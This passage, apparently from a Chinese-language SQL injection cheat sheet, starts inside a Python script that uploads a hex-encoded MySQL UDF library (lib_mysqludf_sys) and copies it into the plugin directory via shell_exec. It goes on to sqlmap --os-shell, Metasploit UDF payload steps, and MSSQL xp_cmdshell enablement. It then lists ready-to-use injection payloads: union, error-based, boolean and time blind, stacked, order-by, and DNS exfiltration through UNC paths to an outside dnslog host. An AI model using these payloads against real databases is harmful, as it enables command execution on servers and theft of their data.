0012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e8162000'));  ''' }requests.post(url, data=data) data2 = {"1" :"shell_exec('cp /var/www/html/a.so /usr/lib/mariadb/plugin/a.so');" } requests.post(url,data=data2) 
 
没有小马还是用sqlmap吧。。
1 2 python3 sqlmap.py -d mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME python3 sqlmap.py -d "mysql://root:@10.8.194.18:3306/mysql"  --os-shell 
 
php大🐎:
1 https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php 
 
msf:
1 2 3 4 msfconsole search mysql_udf use multi/mysql/mysql_udf_payload show_options 
 
 MSSQL  
 注释符  
 
 全局变量  
1 2 @@VERSION 数据库版本 @@SERVERNAME 运行SQL Server 的本地名称 
 
 常见函数  
1 2 3 4 5 6 7 8 9 10 11 12 DB_NAME() DB_NAME(n) 获取当前数据库名,如果有n代表获取其他数据库名 USER_NAME() USER system_user current_user 获取用户在数据库中的名字 is_srvrolemember('x' ) 判断当前用户权限,x为sysadmin/ db_owner/ public中的一种s 
 
 类型转换  
1 2 3 4 5 6 7 8 9 10 11 12 13 ASCII(str) 返回字符串最左端的字符的ASCII值 CHAR(str) 将ASCII转为字符 cast(16 as VARBINARY(50)) convert(VARBINARY(50), 16) master.dbo.fn_varbintohexstr(16) 将16转换为16进制 STR(n) 将数值型数据转换为字符型数据 
 
 字符串操作函数  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 SUBSTRING(str, start, length) 返回str从start位置截取length个长度的字符串 LEFT(str, length) 返回str从最左端开始截取的length个字符 RIGHT(str, length) 返回str从最右端截取的length个字符 QUOTENAME(str[, quote_character]) 返回被特定字符括起来的字符串 REPLICATE(str, times) 返回一个重复str指定次数的字符串 REVERSE(str) 将str的顺序反转 REPLACE(str1, str2, str3) 用str3替换在str1中的子串str2 SPACE(length) 返回一个有指定长度的空白字符串 STUFF(str, start, length, str2) 用str2替换字符串指定位置、长度的子串 CHARINDEX(substring, str) 返回字符串中的子串substring第一次出现的开始位置 str可为子串,也可为列名表达式 如果没有发现,就返回0 该函数不能用于TEXT和IMAGE类型的数据 PATINDEX(%substring%, column_name) 子串前后必须要有百分号,否则返回0 返回字符串中的某个指定的子串开始出现的位置 与charindex不同的是,这个函数的子串可以使用通配符,且可用于char varchar 和text类型 
 
 字符串拼接  
1 2 3 4 5 6 7 8 9 CONCAT(text1, [text2...]) mssql 2012+ concat_ws(separator, argument1, argument2 [, argumentN]...) SQL Server 2017(14.x) and later select concat_ws(',', a, b, c, d) from xxx 在待拼接的字符串中加入指定的分隔符separator 
 
 条件函数  
同mysql
1 2 3 if else case when expr1 then expr2 else expr3 end 
 
 延时函数  
1 2 WAITFOR DELAY '0:0:x' 休眠x秒 
 
 常用语句  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 select is_srvrolemember('sysadmin') select is_srvrolemember('db_owner') select is_srvrolemember('public') 查看数据库权限 select @@version; 获取数据库版本 select user; 用户名 select @@servername; 获取服务器主机名 select name from master..syslogins 获取所有用户 select db_name(); 获取当前数据库 select db_name(n); 获取其他数据库,n=1,2,3,4... select name from master.dbo.sysdatabases where dbid=x 获取其他数据库,x=1,2,3,4... select name from master..sysdatabases; 获取所有数据库 select name from test..sysobjects where xtype='u' 获取第一张表 select top 1 name from 库名.dbo.sysobjects where xtype='U' 获取第二张表 select top 1 name from 库名.dbo.sysobjects where xtype ='U' and name not in ('第一张表') 第三张表 select top 1 name from 库名.dbo.sysobjects where xtype ='U' and name not in ('第一张表', '第二张表') 或者: select table_name from test.information_schema.tables 可以不用加test,也支持跨库查,查出来使用视图的 select table_name from information_schema.tables where table_type not in ('view'); 查出来去除视图的 select name from test..syscolumns where id = (select id from test..sysobjects where name = 'users') 或者 select column_name from test.information_schema.colums where table_name = 'users'; 或者: select top 1 col_name(object_id('users'),1) from sysobjects; i 为第几个字段,int型 select top 1 col_name(object_id('users'),i) from sysobjects; 不支持跨库查询 select username, password from users 获取值 select * from master..sysobjects where name like 'sp%' order by name desc 查找存储过程 
 
XP_CMDSHELL相关 
1 (select count(*) FROM master.dbo.sysobjects where xtype = 'X' and name = 'xp_cmdshell') 
 
1 2 3 4 5 6 7 8 9 10 11 执行系统命令 开启 xp_cmdshell 拓展存储过程 use master; exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure; 执行系统命令 use master; exec master..xp_cmdshell "whoami"; 
 
 注入手法  
mssql的注入手法和mysql基本相似,但是mssql比mysql相对权限要更大
mssql靶场:
https://github.com/Larryxi/MSSQL-SQLi-Labs 
https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe 
 
 联合注入  
一模一样
注意一下union和union all就是了
union:对两个结果集进行并操作,不包括重复行,同时进行默认规则的排序 
union all:包括重复行,不进行排序 
 
确认字段:
 
回显位:
1 id = -1 union all select '1', '2', '3', '4' 
 
需要用单引号括起来,如果直接用数字型的1 2 3 4,有些地方的类型会出现错误导致无法显示出来,建议使用'1'或者null
查询数据库权限和服务名:
1 id=-2 union all select '1',str(is_srvrolemember('sysadmin')),@@servername,'4' 
 
这里如果是sysadmin就会回显1
查询数据库名和数据库用户:
1 2 3 4 -2  union  all  select  '1' ,db_name(),user ,'4' 也可以利用下面这个方法来查 id= -2  union  all  select  '1' ,catalog_name,'3' ,'4'  from  information_schema.schemata 
 
查询其他数据库
1 2 3 4 5 id= -2  union  all  select  '1' ,db_name(1 ),db_name(2 ),'4'  id= -2  union  all  select  '1' ,name,'3' ,'4'  from  master..sysdatabases  id= -2  union  all  select  '1' ,name,'3' ,'4'  from  master..sysdatabases where  name !=  'master'   id= -2  union  all  select  '1' ,name,'3' ,'4'  from  master..sysdatabases where  name not  in  ('master' ,'model' )  
 
爆表,利用database_name..sysobjects:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #查询数据库的第一个表: id= -2  union  all  select  top 1  '1' ,name,'3' ,'4'  from  sysobjects where  xtype= 'u'  id= -2  union  all  select  top 1  '1' ,name,'3' ,'4'  from  mozhe_db_v2..sysobjects where  xtype= 'u'  #第二个表: id= -2  union  all  select  top 1  '1' ,name,'3' ,'4'  from  sysobjects where  xtype= 'u'  and  name not  in  ('manage' ) #master数据库的第一个表: id= -2  union  all  select  top 1  '1' ,name,'3' ,'4'  from  master..sysobjects where  xtype= 'u'  #还可以和mysql一模一样: select  top 1  table_name from  information_schema.tables# 查询master库第一个表名 select  top 1  table_name from  master.information_schema.tables
 
database.information_schema.tables包含视图
database..sysobjects where xtype='U'只包含用户创建的表
查列名:
1 2 3 4 5 6 7 8 9 10 -2  union  all  select  top 1  '1' ,name,'3' ,'4'  from  syscolumns where  id =  (select  id from  sysobjects where  name= 'manage' ) -2  union  all  select  top 1  '1' ,name,'3' ,'4'  from  syscolumns where  id =  (select  id from  sysobjects where  name= 'manage' ) and  name !=  'id'  -2  union  all  select  top 1  '1' ,name,'3' ,'4'  from  syscolumns where  id =  (select  id from  sysobjects where  name= 'manage' ) and  name not  in  ('id' ,'username' ) #但是感觉不如: -2  union  all  select  top 1  '1' ,column_name,'3' ,'4'  from  information_schema.columns where  table_name =  'manage' -2  union  all  select  top 1  '1' ,column_name,'3' ,'4'  from  mozhe_db_v2.information_schema.columns where  table_name =  'manage' 
 
查值:
1 -2  union  all  select  '1' ,username,password,'4'  from  manage
 
和mysql是差不多的,注意一些语句的差异即可
 报错注入  
服务器开启了报错信息返回(也就是报错的时候返回错误信息)的时候适用
mssql的报错注入常出现在类型转换错误的情况下,常用函数convert()、cast()、> < = 除法等数学运算
查询数据库:
1 id = 1' and 1=convert(int, db_name())--+ 
 
 
convert原本是将日期转化为新数据类型的函数
但是对于convert(int, db_name()),convert函数会线执行第二个参数的sql查询结果,再尝试进行转换。
但是由于db_name()查询的结果是VARCHAR型结果,无法转成int,就会导致转换错误,抛出错误信息
cast()也有类似的效果,它会将一种数据类型的表达式转换成另外一种类型:
1 id = 1' and 1 = cast((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')) as varchar)--+ 
 
 
 
除法:
在进行触发运算的时候,会尝试将db_name等参数转化为int,导致出错
 
> < =等比较运算也是这样的:
1 2 3 select  *  from  users where  id =  '1'  and  (select  top 1  name from  test..sysobjects where  xtype=  'u'  and  name not  in  ('users' )) >  0 select  *  from  users where  id =  '1'  and  (select  top 1  name from  test..sysobjects where  xtype=  'u'  and  name not  in  ('users' )) =  0 select  *  from  users where  id =  '1'  and  (select  top 1  name from  test..sysobjects where  xtype=  'u'  and  name not  in  ('users' )) <  0 
 
1 id = 1' and (select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')) > 0 --+ 
 
 
除此之外还有一些特别的:
报错原理是因为调用此函数的时候,它会将x转换为smallint类型,而查询出来的结果为nvarchar,因此会抛出异常:
1 id = 1' and 1 = db_name((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+ 
 
 
x具有int数据类型,同样地将nvarchar转int导致的出错
1 id = 1' and 1 = file_name((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+ 
 
1 id = 1' and 1 = file_groupname((select top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+ 
 
col_name(table_id, column_id) 
 
1 id = 1' and 1 = col_name(1, (selecct top 1 name from test..sysobjects where xtype = 'u' and name not in ('users')))--+ 
 
having需要和group by一起使用,若无group_by,则会直接爆出当前的表
1 id = 1' and having 1=1--+ 
 
 
1 id = 1' group by username, id having 1=1--+ 
 
 
 布尔盲注  
与mysql流程一致
例如:
1 2 3 id= 2  and  len(db_name()) >  10   id= 2  and  len(db_name()) >  11   id= 2  and  len(db_name()) =  11   
 
爆库:
1 2 id= 2  and  ascii(substring (db_name(),{},1 )) <  {} 
 
查看数据库有多少表
1 2 # 说明有2 个表 id= 2  and  (select  count (* ) from  sysobjects where  xtype= 'U' ) =  2   
 
查看第一张表的第一位:
1 2 # 第一位是m id= 2  and  ascii(substring ((select  top 1  name from  sysobjects where  xtype= 'u' ),1 ,1 )) =  109   
 
 时间盲注  
利用mssql专用的睡眠函数WAITFOR DELAY '0:0:x'
1 id =  2  waitfor delay '0:0:5'  
 
实例:
1 id =  2  if(substring (db_name(),1 ,1 )) =  'm'  waitfor delay '0:0:5'  
 
 DNSLog  
fn_xe_file_target_read_file和fn_trace_gettable
限制就是需要控制服务器权限
1 2 3 4 5 6 7 8 9 exists (select  *  from  fn_xe_file_target_read_file('C:\*.xel' ,'\\' + (select  db_name())+ '.23c999e1.dns.1433.eu.org\1.xem' ,null ,null ))id= 2 + and + exists (select + * + from + fn_xe_file_target_read_file('C:\*.xel' ,'\\' % 2 b(select + db_name())% 2 b'.23c999e1.dns.1433.eu.org\1.xem' ,null ,null )) exists (select  *  from  fn_trace_gettable('\\' + (select  db_name())+ '.23c999e1.dns.1433.eu.org\1.trc' ,default ))id= 2 + and + exists (select + * + from + fn_trace_gettable('\\' % 2 b(select + db_name())% 2 b'.23c999e1.dns.1433.eu.org\1.trc' ,default )) 
 
 堆叠注入  
同mysql,mssql也支持多语句查询
1 id = 1;waitfor delay '0:0:5'; 
 
 order by  
同mysql类似,也是出现在排序中,同样地mssql的order by也是不能够利用预编译进行修复的,原因同mysql(order by 跟的是字段名而不是字符串,如果预编译之后就会将字段名转换为字符串,就报错啦~ 修复方式和mysql是一样的,加白名单)
1 2 order by name order by id 
 
检测方式:
 
1 order by 1 if(1=1) waitfor delay '0:0:5' 
 
有报错的情况下可以直接通过报错注入来获取:
1 order by convert(int, db_name)--+ 
 
无报错的情况下利用时间盲注:
1 order by 1 if(substring(db_name(),1,1)='m') waitfor delay '0:0:5'--+ 
 
 二次注入  
同mysql
 
参考资料: